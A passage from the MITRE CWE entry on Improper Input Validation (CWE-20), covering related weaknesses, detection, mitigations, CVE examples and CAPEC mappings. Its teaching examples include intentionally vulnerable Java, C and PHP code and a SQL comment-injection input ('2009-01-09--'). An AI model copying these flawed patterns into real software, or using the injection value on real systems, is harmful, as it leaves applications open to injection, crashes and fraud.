- authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
ParentOf	ⓑ	179	Incorrect Behavior Order: Early Validation	430

Nature	Type	ID	Name	Page
ParentOf	V	622	Improper Validation of Function Hook Arguments	1305
ParentOf	B	1173	Improper Use of Validation Framework	1824
ParentOf	B	1284	Improper Validation of Specified Quantity in Input	1965
ParentOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	1967
ParentOf	B	1286	Improper Validation of Syntactic Correctness of Input	1970
ParentOf	B	1287	Improper Validation of Specified Type of Input	1972
ParentOf	B	1288	Improper Validation of Consistency within Input	1973
ParentOf	B	1289	Improper Validation of Unsafe Equivalence in Input	1974
PeerOf	C	345	Insufficient Verification of Data Authenticity	805
CanPrecede	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
CanPrecede	B	41	Improper Resolution of Path Equivalence	83
CanPrecede	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanPrecede	B	770	Allocation of Resources Without Limits or Throttling	1502

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	V	129	Improper Validation of Array Index	327
ParentOf	B	1284	Improper Validation of Specified Quantity in Input	1965








*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2226

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	128
ParentOf	V	102	Struts: Duplicate Validation Forms	239
ParentOf	V	103	Struts: Incomplete validate() Method Definition	240
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	243
ParentOf	V	105	Struts: Form Field Without Validator	245
ParentOf	V	106	Struts: Plug-in Framework not in Use	248
ParentOf	V	107	Struts: Unused Validation Form	251
ParentOf	V	108	Struts: Unvalidated Action Form	253
ParentOf	V	109	Struts: Validator Turned Off	254
ParentOf	V	110	Struts: Validator Without Form Field	256
ParentOf	V	111	Direct Use of Unsafe JNI	258
ParentOf	B	112	Missing XML Validation	261
ParentOf	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	263
ParentOf	C	114	Process Control	268
ParentOf	B	117	Improper Output Neutralization for Logs	279
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283



Nature	Type	ID	Name	Page
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
ParentOf		134	Use of Externally-Controlled Format String	349
ParentOf		170	Improper Null Termination	411
ParentOf		190	Integer Overflow or Wraparound	453
ParentOf		466	Return of Pointer Value Outside of Expected Range	1049
ParentOf		470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1057
ParentOf		785	Use of Path Manipulation Function without Maximum-sized Buffer	1542

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.</i>	
Confidentiality	Read Memory Read Files or Directories  <i>An attacker could read confidential data if they are able to control resource references.</i>	
Integrity Confidentiality Availability	Modify Memory Execute Unauthorized Code or Commands  <i>An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.</i>	

### Detection Methods

#### Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

#### Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

#### Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

#### **Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = High*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Host Application Interface Scanner Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = High*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

*Strategy = Attack Surface Reduction*

Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data

representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

**Phase: Architecture and Design**

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

*Effectiveness = High*

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

**Phase: Implementation**

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

**Phase: Implementation**

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

**Phase: Implementation**

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

**Phase: Implementation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

**Phase: Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

**Demonstrative Examples****Example 1:**

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

*Example Language: Java*

*(Bad)*

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

**Example 2:**

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

*Example Language: C*

*(Bad)*

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
```

```
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

### Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

*Example Language: PHP*

*(Bad)*

```
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for \$birthday to be in a date format and \$homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the \$birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

*Example Language:*

*(Attack)*

```
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

### Example 4:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

*Example Language: Java*

*(Bad)*

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
```

```

        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}

```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

### Example 5:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java

(Bad)

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

### Observed Examples

Reference	Description
<b>CVE-2021-30860</b>	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-30860">https://www.cve.org/CVERecord?id=CVE-2021-30860</a>
<b>CVE-2021-30663</b>	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-30663">https://www.cve.org/CVERecord?id=CVE-2021-30663</a>
<b>CVE-2021-22205</b>	Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-22205">https://www.cve.org/CVERecord?id=CVE-2021-22205</a>
<b>CVE-2021-21220</b>	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21220">https://www.cve.org/CVERecord?id=CVE-2021-21220</a>
<b>CVE-2020-9054</b>	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-9054">https://www.cve.org/CVERecord?id=CVE-2020-9054</a>
<b>CVE-2020-3452</b>	Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-3452">https://www.cve.org/CVERecord?id=CVE-2020-3452</a>
<b>CVE-2020-3161</b>	Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-3161">https://www.cve.org/CVERecord?id=CVE-2020-3161</a>



Reference	Description
<b>CVE-2020-3580</b>	Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-3580">https://www.cve.org/CVERecord?id=CVE-2020-3580</a>
<b>CVE-2021-37147</b>	Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending" <a href="https://www.cve.org/CVERecord?id=CVE-2021-37147">https://www.cve.org/CVERecord?id=CVE-2021-37147</a>
<b>CVE-2008-5305</b>	Eval injection in Perl program using an ID that should only contain hyphens and numbers. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5305">https://www.cve.org/CVERecord?id=CVE-2008-5305</a>
<b>CVE-2008-2223</b>	SQL injection through an ID that was supposed to be numeric. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2223">https://www.cve.org/CVERecord?id=CVE-2008-2223</a>
<b>CVE-2008-3477</b>	lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3477">https://www.cve.org/CVERecord?id=CVE-2008-3477</a>
<b>CVE-2008-3843</b>	insufficient validation enables XSS <a href="https://www.cve.org/CVERecord?id=CVE-2008-3843">https://www.cve.org/CVERecord?id=CVE-2008-3843</a>
<b>CVE-2008-3174</b>	driver in security product allows code execution due to insufficient validation <a href="https://www.cve.org/CVERecord?id=CVE-2008-3174">https://www.cve.org/CVERecord?id=CVE-2008-3174</a>
<b>CVE-2007-3409</b>	infinite loop from DNS packet with a label that points to itself <a href="https://www.cve.org/CVERecord?id=CVE-2007-3409">https://www.cve.org/CVERecord?id=CVE-2007-3409</a>
<b>CVE-2006-6870</b>	infinite loop from DNS packet with a label that points to itself <a href="https://www.cve.org/CVERecord?id=CVE-2006-6870">https://www.cve.org/CVERecord?id=CVE-2006-6870</a>
<b>CVE-2008-1303</b>	missing parameter leads to crash <a href="https://www.cve.org/CVERecord?id=CVE-2008-1303">https://www.cve.org/CVERecord?id=CVE-2008-1303</a>
<b>CVE-2007-5893</b>	HTTP request with missing protocol version number leads to crash <a href="https://www.cve.org/CVERecord?id=CVE-2007-5893">https://www.cve.org/CVERecord?id=CVE-2007-5893</a>
<b>CVE-2006-6658</b>	request with missing parameters leads to information exposure <a href="https://www.cve.org/CVERecord?id=CVE-2006-6658">https://www.cve.org/CVERecord?id=CVE-2006-6658</a>
<b>CVE-2008-4114</b>	system crash with offset value that is inconsistent with packet size <a href="https://www.cve.org/CVERecord?id=CVE-2008-4114">https://www.cve.org/CVERecord?id=CVE-2008-4114</a>
<b>CVE-2006-3790</b>	size field that is inconsistent with packet size leads to buffer over-read <a href="https://www.cve.org/CVERecord?id=CVE-2006-3790">https://www.cve.org/CVERecord?id=CVE-2006-3790</a>
<b>CVE-2008-2309</b>	product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning <a href="https://www.cve.org/CVERecord?id=CVE-2008-2309">https://www.cve.org/CVERecord?id=CVE-2008-2309</a>
<b>CVE-2008-3494</b>	security bypass via an extra header <a href="https://www.cve.org/CVERecord?id=CVE-2008-3494">https://www.cve.org/CVERecord?id=CVE-2008-3494</a>
<b>CVE-2008-3571</b>	empty packet triggers reboot <a href="https://www.cve.org/CVERecord?id=CVE-2008-3571">https://www.cve.org/CVERecord?id=CVE-2008-3571</a>
<b>CVE-2006-5525</b>	incomplete denylist allows SQL injection <a href="https://www.cve.org/CVERecord?id=CVE-2006-5525">https://www.cve.org/CVERecord?id=CVE-2006-5525</a>
<b>CVE-2008-1284</b>	NUL byte in theme name causes directory traversal impact to be worse <a href="https://www.cve.org/CVERecord?id=CVE-2008-1284">https://www.cve.org/CVERecord?id=CVE-2008-1284</a>
<b>CVE-2008-0600</b>	kernel does not validate an incoming pointer before dereferencing it <a href="https://www.cve.org/CVERecord?id=CVE-2008-0600">https://www.cve.org/CVERecord?id=CVE-2008-0600</a>
<b>CVE-2008-1738</b>	anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution <a href="https://www.cve.org/CVERecord?id=CVE-2008-1738">https://www.cve.org/CVERecord?id=CVE-2008-1738</a>
<b>CVE-2008-1737</b>	anti-virus product allows DoS via zero-length field <a href="https://www.cve.org/CVERecord?id=CVE-2008-1737">https://www.cve.org/CVERecord?id=CVE-2008-1737</a>
<b>CVE-2008-3464</b>	driver does not validate input from userland to the kernel <a href="https://www.cve.org/CVERecord?id=CVE-2008-3464">https://www.cve.org/CVERecord?id=CVE-2008-3464</a>

Reference	Description
<b>CVE-2008-2252</b>	kernel does not validate parameters sent in from userland, allowing code execution <a href="https://www.cve.org/CVERecord?id=CVE-2008-2252">https://www.cve.org/CVERecord?id=CVE-2008-2252</a>
<b>CVE-2008-2374</b>	lack of validation of string length fields allows memory consumption or buffer over-read <a href="https://www.cve.org/CVERecord?id=CVE-2008-2374">https://www.cve.org/CVERecord?id=CVE-2008-2374</a>
<b>CVE-2008-1440</b>	lack of validation of length field leads to infinite loop <a href="https://www.cve.org/CVERecord?id=CVE-2008-1440">https://www.cve.org/CVERecord?id=CVE-2008-1440</a>
<b>CVE-2008-1625</b>	lack of validation of input to an IOCTL allows code execution <a href="https://www.cve.org/CVERecord?id=CVE-2008-1625">https://www.cve.org/CVERecord?id=CVE-2008-1625</a>
<b>CVE-2008-3177</b>	zero-length attachment causes crash <a href="https://www.cve.org/CVERecord?id=CVE-2008-3177">https://www.cve.org/CVERecord?id=CVE-2008-3177</a>
<b>CVE-2007-2442</b>	zero-length input causes free of uninitialized pointer <a href="https://www.cve.org/CVERecord?id=CVE-2007-2442">https://www.cve.org/CVERecord?id=CVE-2007-2442</a>
<b>CVE-2008-5563</b>	crash via a malformed frame structure <a href="https://www.cve.org/CVERecord?id=CVE-2008-5563">https://www.cve.org/CVERecord?id=CVE-2008-5563</a>
<b>CVE-2008-5285</b>	infinite loop from a long SMTP request <a href="https://www.cve.org/CVERecord?id=CVE-2008-5285">https://www.cve.org/CVERecord?id=CVE-2008-5285</a>
<b>CVE-2008-3812</b>	router crashes with a malformed packet <a href="https://www.cve.org/CVERecord?id=CVE-2008-3812">https://www.cve.org/CVERecord?id=CVE-2008-3812</a>
<b>CVE-2008-3680</b>	packet with invalid version number leads to NULL pointer dereference <a href="https://www.cve.org/CVERecord?id=CVE-2008-3680">https://www.cve.org/CVERecord?id=CVE-2008-3680</a>
<b>CVE-2008-3660</b>	crash via multiple "." characters in file extension <a href="https://www.cve.org/CVERecord?id=CVE-2008-3660">https://www.cve.org/CVERecord?id=CVE-2008-3660</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2143
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2210
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1005	7PK - Input Validation and Representation	700	2214

Nature	Type	ID	Name	V	Page
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Mapping

Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities). Rationale: CWE-20 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available [REF-1287]. It is not useful for trend analysis. It is also a level-1 Class (i.e., a child of a Pillar). Comments: consider lower-level children such as Improper Use of Validation Framework (CWE-1173) or improper validation involving specific types or properties of input such as Specified Quantity (CWE-1284); Specified Index, Position, or Offset (CWE-1285); Syntactic Correctness (CWE-1286); Specified Type (CWE-1287); Consistency within Input (CWE-1288); or Unsafe Equivalence (CWE-1289).

### Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

### Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

### Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

### Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

### Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and

composite relationships. Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO30-C	CWE More Abstract	Exclude user input from format strings
CERT C Secure Coding	MEM10-C		Define and use a pointer validation function
WASC	20		Improper Input Handling
Software Fault Patterns	SFP25		Tainted input to variable

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
22	Exploiting Trust in Client
23	File Content Injection
24	Filter Failure through Buffer Overflow
28	Fuzzing
31	Accessing/Intercepting/Modifying HTTP Cookies
42	MIME Conversion
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
63	Cross-Site Scripting (XSS)
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
81	Web Server Logs Tampering
83	XPath Injection
85	AJAX Footprinting
88	OS Command Injection

CAPEC-ID	Attack Pattern Name
101	Server Side Include (SSI) Injection
104	Cross Zone Scripting
108	Command Line Execution through SQL Injection
109	Object Relational Mapping Injection
110	SQL Injection through SOAP Parameter Tampering
120	Double Encoding
135	Format String Injection
136	LDAP Injection
153	Input Data Manipulation
182	Flash Injection
209	XSS Using MIME Type Mismatch
230	Serialized Data with Nested Payloads
231	Oversized Serialized Data Payloads
250	XML Injection
261	Fuzzing for garnering other adjacent user/sensitive data
267	Leverage Alternate Encoding
473	Signature Spoof
588	DOM-Based XSS
664	Server Side Request Forgery

## References

- [REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.
- [REF-166]Jim Manico. "Input Validation with ESAPI - Very Important". 2008 August 5. < <http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html> >.
- [REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.
- [REF-168]Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". 2006 June 5. McGraw-Hill.
- [REF-48]Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007 January 0. < <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html> >.
